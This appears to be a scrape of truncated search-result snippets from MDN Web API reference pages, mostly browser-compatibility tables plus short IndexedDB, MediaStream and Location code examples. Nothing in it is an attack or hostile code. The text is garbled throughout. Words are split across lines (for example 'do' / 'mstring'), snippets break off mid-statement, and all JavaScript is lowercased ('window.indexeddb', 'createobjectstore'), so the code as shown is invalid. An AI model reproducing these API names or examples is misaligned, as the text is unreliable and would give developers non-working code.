msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBRequest.onsuccess - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonsuccesschrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBRequest.readyState - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreadystatechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBRequest.result - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetresultchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBRequest.source - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsourcechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBRequest: success event - Web APIs
eventlistener(): // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; openrequest.addeventlistener('success', (event) ...
...andler property: // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; openrequest.onsuccess = (event) => { console.l...
IDBRequest.transaction - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettransactionchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBTransaction: abort event - Web APIs
// open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db ...
...bort property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db ...
IDBTransaction: complete event - Web APIs
entlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db ...
...lete property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db ...
IDBTransaction: error event - Web APIs
this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const d...
...); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ite
ms the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const d...
IDBTransaction.onabort - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonabortchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 1...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBTransaction.oncomplete - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetoncompletechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBTransaction.onerror - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 1...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBTransactionSync - Web APIs
method overview void abort() raises (idbdatabaseexception); void commit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in do
mstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this transaction is associated with.
... idbobjectstoresync objectstore( in do
mstring name ) raises (idbdatabaseexception); parameters name the name of the requested object store.
IDBVersionChangeEvent.oldVersion - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetoldversionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBVersionChangeEvent.version - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetversion deprecatednon-standardchrome full support 12edge full support ≤18firefox full support 16 full support 16 full support 10prefixed prefixed implemented wit...
... nowebview android full support yeschrome android full support 18firefox android full support 22opera android full support 22safari ios no support nosa
msung internet android full support 1.0legend full support full support no support no supportnon-standard.
IDBVersionChangeEvent - Web APIs
window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.
msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
... // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.
msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.
msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
IIRFilterNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetiirfilternode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no ...
... sa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
ImageCapture.takePhoto() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettakephoto experimentalchrome full support 60 full support 60 no support 59 — 60notes notes photosettings argument not supported.edge full support ≤79firefox ?
... sa
msung internet android full support 8.0 full support 8.0 no support 7.0 — 8.0notes notes photosettings argument not supported.legend full support full support compatibility unknown ...
IndexedDB API - Web APIs
key concepts and usage indexeddb is a transactional database system, like an sql-based rdb
ms.
... however, unlike sql-based rdb
mses, which use fixed-column tables, indexeddb is a javascript-based object-oriented database.
InputEvent.data - Web APIs
the data read-only property of the inputevent interface returns a do
mstring with the inserted characters.
... syntax var astring = inputevent.data; value a do
mstring.
InputEvent.dataTransfer - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdatatransfer experimentalchrome full support 60edge full support 79firefox full support 67ie no support noopera full support 47safari no support ...
... nowebview android full support 60chrome android full support 60firefox android full support 67opera android full support 44safari ios no support nosa
msung internet android full support 8.0legend full support full support no support no supportexperimental.
InputEvent.getTargetRanges() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgettargetranges experimentalchrome full support 60edge full support 79firefox no support noie no support noopera full support 47safari full support...
... 10.1webview android full support 60chrome android full support 60firefox android no support noopera android full support 44safari ios full support 10.3sa
msung internet android full support 8.0legend full support full support no support no supportexperimental.
KeyboardEvent.getModifierState() - Web APIs
key) not supported "scrolllock" during led for scroll lock turned on during led for scroll lock turned on, but typically this isn't supported by platform not supported while scrolllock is locked "shift" ⇧ shift key pressed "super" not supported "symbol" not supported "symbollock" not supported on the other platfor
ms, "alt", "control" and "shift" may be supported.
...note that which modifier key makes it return true depends on platfor
ms, browsers, and user settings.
KeyboardEvent.initKeyEvent() - Web APIs
syntax event.initkeyevent (type, bubbles, cancelable, viewarg, ctrlkeyarg, altkeyarg, shiftkeyarg, metakeyarg, keycodearg, charcodearg) parameters type is a do
mstring representing the type of event.
... the initkeyevent is the current gecko equivalent of the dom level 3 events (initially drafted and also deprecated in favor of keyboardevent() keyboard.initkeyboardevent() method with the following arguments : typearg of type do
mstring canbubblearg of type boolean cancelablearg of type boolean viewarg of type views::abstractview keyidentifierarg of type do
mstring keylocationarg of type unsigned long modifierslist of type do
mstring); ...
LocalMediaStream - Web APIs
the localmediastream interface was part of the media capture and strea
ms api, representing a stream of data being generated locally (such as by getusermedia().
...this interface was previously part of media capture and strea
ms but was removed in 2013.
Location: search - Web APIs
modern browsers provide urlsearchpara
ms and url.searchpara
ms to make it easy to parse out the parameters from the querystring.
... syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let para
ms = new urlsearchpara
ms(querystring); let q = parseint(para
ms.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification.
Location - Web APIs
function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a static do
mstringlist containing, in reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object.
...modern browsers provide urlsearchpara
ms and url.searchpara
ms to make it easy to parse out the parameters from the querystring.
MediaDevices.enumerateDevices() - Web APIs
vice.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more mediastrea
ms are active or persistent permissions are granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= specifications specification status comment media capture and...
... strea
msthe definition of 'mediadevices: enumeratedevices' in that specification.
MediaDevices.getUserMedia() - Web APIs
the originally-designed security mechanism is in the process of being replaced with feature policy, so various browsers have different levels of security support, using different mechanis
ms.
..."user" : "environment") } }; specifications specification status comment media capture and strea
msthe definition of 'mediadevices.getusermedia()' in that specification.
MediaError - Web APIs
a mediaerror object describes the error in general ter
ms using a numeric code categorizing the kind of error, and a message, which provides specific diagnostics about what went wrong.
... mediaerror.message a do
mstring object containing a human-readable string which provides specific diagnostic information to help the reader understand the error condition which occurred; specifically, it isn't simply a summary of what the error code means, but actual diagnostic information to help in understanding what exactly went wrong.
MediaKeyStatusMap.entries() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetentries experimentalchrome full support 42edge full support 16firefox ?
... sa
msung internet android full support 4.0legend full support full support compatibility unknown compatibility unknownexperimental.
MediaKeyStatusMap.forEach() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetforeach experimentalchrome full support 42edge full support 13firefox ?
... sa
msung internet android full support 4.0legend full support full support compatibility unknown compatibility unknownexperimental.
MediaKeyStatusMap.get() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetget experimentalchrome full support 42edge full support 13firefox full support yesie ?
... sa
msung internet android full support 4.0legend full support full support compatibility unknown compatibility unknownexperimental.
MediaKeyStatusMap.has() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internethas experimentalchrome full support 42edge full support 13firefox full support yesie ?
... sa
msung internet android full support 4.0legend full support full support compatibility unknown compatibility unknownexperimental.
MediaKeyStatusMap.keys() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetkeys experimentalchrome full support 42edge full support 16firefox ?
... sa
msung internet android full support 4.0legend full support full support compatibility unknown compatibility unknownexperimental.
MediaKeyStatusMap.size - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsize experimentalchrome full support 42edge full support 13firefox full support yesie ?
... sa
msung internet android full support 4.0legend full support full support compatibility unknown compatibility unknownexperimental.
MediaKeyStatusMap.values() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetvalues experimentalchrome full support 42edge full support 16firefox ?
... sa
msung internet android full support 4.0legend full support full support compatibility unknown compatibility unknownexperimental.
MediaList.mediaText - Web APIs
the mediatext property of the medialist interface is a stringifier that returns a do
mstring representing the medialist as text, and also allows you to set a new medialist.
... syntax medialistinstance.mediatext; medialistinstance.mediatext = string; value a do
mstring representing the media queries of a stylesheet.
MediaList - Web APIs
properties medialist.mediatext a stringifier that returns a do
mstring representing the medialist as text, and also allows you to set a new medialist.
... medialist.item() a getter that returns a csso
mstring representing a media query as text, given the media query's index value inside the medialist.
MediaMetadata.album - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetalbum experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
MediaMetadata.artist - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetartist experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
MediaMetadata.artwork - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetartwork experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
MediaMetadata.title - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettitle experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
MediaQueryList.media - Web APIs
the media read-only property of the mediaquerylist interface is a do
mstring representing a serialized media query.
... syntax var media = mediaquerylist.media; value a do
mstring representing a serialized media query.
MediaQueryListEvent.media - Web APIs
the media read-only property of the mediaquerylistevent interface is a do
mstring representing a serialized media query.
... syntax var media = mediaquerylistevent.media; value a do
mstring representing a serialized media query.
MediaRecorder.audioBitsPerSecond - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetaudiobitspersecond experimentalchrome full support 49edge full support 79firefox full support 71ie no support noopera full support 36safari no supp...
... opera android full support 36safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
MediaRecorder.ignoreMutedMedia - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetignoremutedmedia deprecatednon-standardchrome no support 49 — 57edge no support nofirefox ?
... opera android no support 36 — 44safari ios no support nosa
msung internet android no support 5.0 — 7.0legend no support no support compatibility unknown compatibility unknownnon-standard.
MediaRecorder.mimeType - Web APIs
mdn web docs content uses the ter
ms interchangeably.
... syntax var mimetype = mediarecorder.mimetype value the mime media type which describes the format of the recorded media, as a do
mstring.
MediaSession.setActionHandler() - Web APIs
syntax navigator.mediasession.setactionhandler(type, callback) parameters type a do
mstring representing an action type to listen for.
...this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circu
mstances.
MediaSessionActionDetails.action - Web APIs
syntax let mediasessionactiondetails = { action: actiontype }; let actiontype = mediasessionactiondetails.action; value a do
mstring specifying which of the action types the callback is being invoked for: nexttrack advances playback to the next track.
...this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circu
mstances.
MediaSource.endOfStream() - Web APIs
syntax mediasource.endofstream(endofstreamerror); parameters endofstreamerror optional a do
mstring representing an error to throw when the end of the stream is reached.
...this can be used create a custom error handler related to media strea
ms.
MediaStream() - Web APIs
the tracks are not removed from the original stream, so they're shared by the two strea
ms.
... specifications specification status comment media capture and strea
msthe definition of 'mediastream' in that specification.
MediaStream.getAudioTracks() - Web APIs
early versions of this api included a special audiostreamtrack interface which was used as the type for each entry in the list of audio strea
ms; however, this has since been merged into the main mediastreamtrack interface.
... navigator.mediadevices.getusermedia({audio: true, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the audio stream after 5 seconds settimeout(() => { const tracks = mediastream.getaudiotracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and strea
msthe definition of 'getaudiotracks()' in that specification.
MediaStream.getTrackById() - Web APIs
syntax var track = mediastream.gettrackbyid(id); parameters id a do
mstring which identifies the track to be returned.
... stream.gettrackbyid("primary-audio-track").applyconstraints({ volume: 0.5 }); stream.gettrackbyid("commentary-track").enabled = true; specifications specification status comment media capture and strea
msthe definition of 'gettrackbyid()' in that specification.
MediaStream.getVideoTracks() - Web APIs
early versions of this api included a special videostreamtrack interface which was used as the type for each entry in the list of video strea
ms; however, this has since been merged into the main mediastreamtrack interface.
... var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and strea
msthe definition of 'getvideotracks()' in that specification.
MediaStream - Web APIs
mediastream.id read only a do
mstring containing 36 characters denoting a universally unique identifier (uuid) for the object.
... specifications specification status comment media capture and strea
msthe definition of 'mediastream' in that specification.
MediaStreamAudioSourceNode.mediaStream - Web APIs
this stream was specified when the node was first created, either using the mediastreamaudiosourcenode() constructor or the audiocontext.createmediastrea
msource() method.
...however, there is no way to be certain which track that will be on multi-track strea
ms.
MediaStreamConstraints - Web APIs
security peeridentity a do
mstring identifying the peer who has sole access to the stream.
...strea
ms isolated in this way can only be displayed in a media element (<audio> or <video>) where the content is protected just as if cors cross-origin rules were in effect.
MediaStreamTrack.id - Web APIs
the mediastreamtrack.id read-only property returns a do
mstring containing a unique identifier (guid) for the track, which is generated by the user agent.
... syntax const id = track.id specifications specification status comment media capture and strea
msthe definition of 'mediastreamtrack.id' in that specification.
MediaStreamTrack.label - Web APIs
the mediastreamtrack.label read-only property returns a do
mstring containing a user agent-assigned label that identifies the track source, as in "internal microphone".
... syntax const label = track.label specifications specification status comment media capture and strea
msthe definition of 'mediastreamtrack.label' in that specification.
MediaStreamTrack.stop() - Web APIs
syntax track.stop() description calling stop() tells the user agent that the track's source—whatever that source may be, including files, network strea
ms, or a local camera or microphone—is no longer needed by the mediastreamtrack.
... specifications specification status comment media capture and strea
msthe definition of 'mediastreamtrack.stop()' in that specification.
MediaStreamTrackEvent() - Web APIs
type a do
mstring representing the name of the type of the mediastreamtrackevent.
... specifications specification status comment media capture and strea
msthe definition of 'mediastreamtrackevent()' in that specification.
Using the MediaStream Recording API - Web APIs
the mediastream recording api makes it easy to record audio and/or video strea
ms.
...this article ai
ms to provide a basic guide on how to use the mediarecorder interface, which provides this api.
MediaTrackConstraints.cursor - Web APIs
the mediatrackconstraints dictionary's cursor property is a constraindo
mstring describing the requested or mandatory constraints placed upon the value of the cursor constrainable property, which is used to specify whether or not the cursor should be included in the captured video.
... syntax var constraintsobject = { cursor: constraint }; constraintsobject.cursor = constraint; value a constraindo
mstring which specifies whether or not the mouse cursor should be rendered into the video track in the mediastream returned by the call to getdisplaymedia().
MediaTrackConstraints.displaySurface - Web APIs
the mediatrackconstraints dictionary's displaysurface property is a constraindo
mstring describing the requested or mandatory constraints placed upon the value of the displaysurface constrainable property.
... syntax var constraintsobject = { displaysurface: constraint }; constraintsobject.displaysurface = constraint; value a constraindo
mstring which specifies the type of display surface that's being captured.
MerchantValidationEvent() - Web APIs
syntax merchantvalidationevent = new merchantvalidationevent(type, options); parameters type a do
mstring which must be merchantvalidation, the only type of event which uses the merchantvalidationevent interface.
... options optional an optional dictionary which may contain zero or more of the following properties: methodname optional a do
mstring containing the payment method identifier for the payment handler being used.
MerchantValidationEvent - Web APIs
the merchantvalidationevent interface of the the payment request api enables a merchant to verify the
mselves as allowed to use a particular payment handler.
... properties merchantvalidationevent.methodname secure context a do
mstring providing a unique payment method identifier for the payment handler that's requiring validation.
MessageEvent.lastEventId - Web APIs
the lasteventid read-only property of the messageevent interface is a do
mstring representing a unique id for the event.
... syntax var myid = messageevent.lasteventid; value a do
mstring representing the id.
Metadata.modificationTime - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmodificationtime experimentalnon-standardchrome full support 13edge full support ≤79firefox no support noie no support noopera no support nosafari ...
...t nowebview android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yeslegend full support full support no support no supportexperimental.
Metadata.size - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsize experimentalnon-standardchrome full support 13edge full support ≤79firefox no support noie no support noopera no support nosafari no support...
... nowebview android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yeslegend full support full support no support no supportexperimental.
MouseEvent() - Web APIs
syntax event = new mouseevent(typearg, mouseeventinit); values typearg is a do
mstring representing the name of the event.
... "region", optional and defaulting to null, of type do
mstring, is the id of the hit region affected by the event.
MutationObserverInit.attributeFilter - Web APIs
syntax var options = { attributefilter: [ "list", "of", "attribute", "names" ] } value an array of do
mstring objects, each specifying the name of one attribute whose value is to be monitored for changes.
...for any ite
ms representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), we use the attribute's name, obtained using mutationrecord.attributename, to identify the type of change that occurred and then dispatch to the appropriate handler function.
Navigator.registerProtocolHandler() - Web APIs
for example, you can register to handle s
ms text message links by passing the "s
ms" scheme.
... otherwise, the scheme must be one of the following: bitcoin geo im irc ircs magnet mailto m
ms news nntp openpgp4fpr sip s
ms s
msto ssh tel urn webcal wtai xmpp example if your site is burgers.example.com, you can register a protocol handler for it to handle web+burger: links, like so: navigator.registerprotocolhandler("web+burger", "https://burgers.example.com/?burger=%s", "burger handler"); this creates...
NavigatorLanguage - Web APIs
navigatorlanguage.language read only returns a do
mstring representing the preferred language of the user, usually the language of the browser ui.
... navigatorlanguage.languages read only returns an array of do
mstring representing the languages known to the user, by order of preference.
NavigatorPlugins.plugins - Web APIs
syntax var plugins = navigator.plugins; plugins is pluginarray object used to access plugin objects either by name or as a list of ite
ms.
... the returned value is not a javascript array, but has the length property and supports accessing individual ite
ms using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods.
Node.isSupported() - Web APIs
syntax boolvalue = element.issupported(feature, version) parameters feature is a do
mstring containing the name of the feature to test.
... version is a do
mstring containing the version number of the feature to test.
Node.nodeName - Web APIs
syntax var str = node.nodename; value a do
mstring.
...however, in html, text_field's value would read "div", because nodename and tagname return in upper case on html elements in do
ms flagged as html documents.
NodeList.prototype.forEach() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetforeachchrome full support 51edge full support 16firefox full support 50ie no support noopera full support 38safari full support ...
... 10webview android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios full support 10sa
msung internet android full support 5.0legend full support full support no support no support ...
NodeList - Web APIs
it's good to keep this distinction in mind when you choose how to iterate over the ite
ms in the nodelist, and whether you should cache the list's length.
... example it's possible to loop over the ite
ms in a nodelist using a for loop: for (let i = 0; i < mynodelist.length; i++) { let item = mynodelist[i]; } don't use for...in to enumerate the ite
ms in nodelists, since they will also enumerate its length and item properties and cause errors if your script assumes it only has to deal with element objects.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
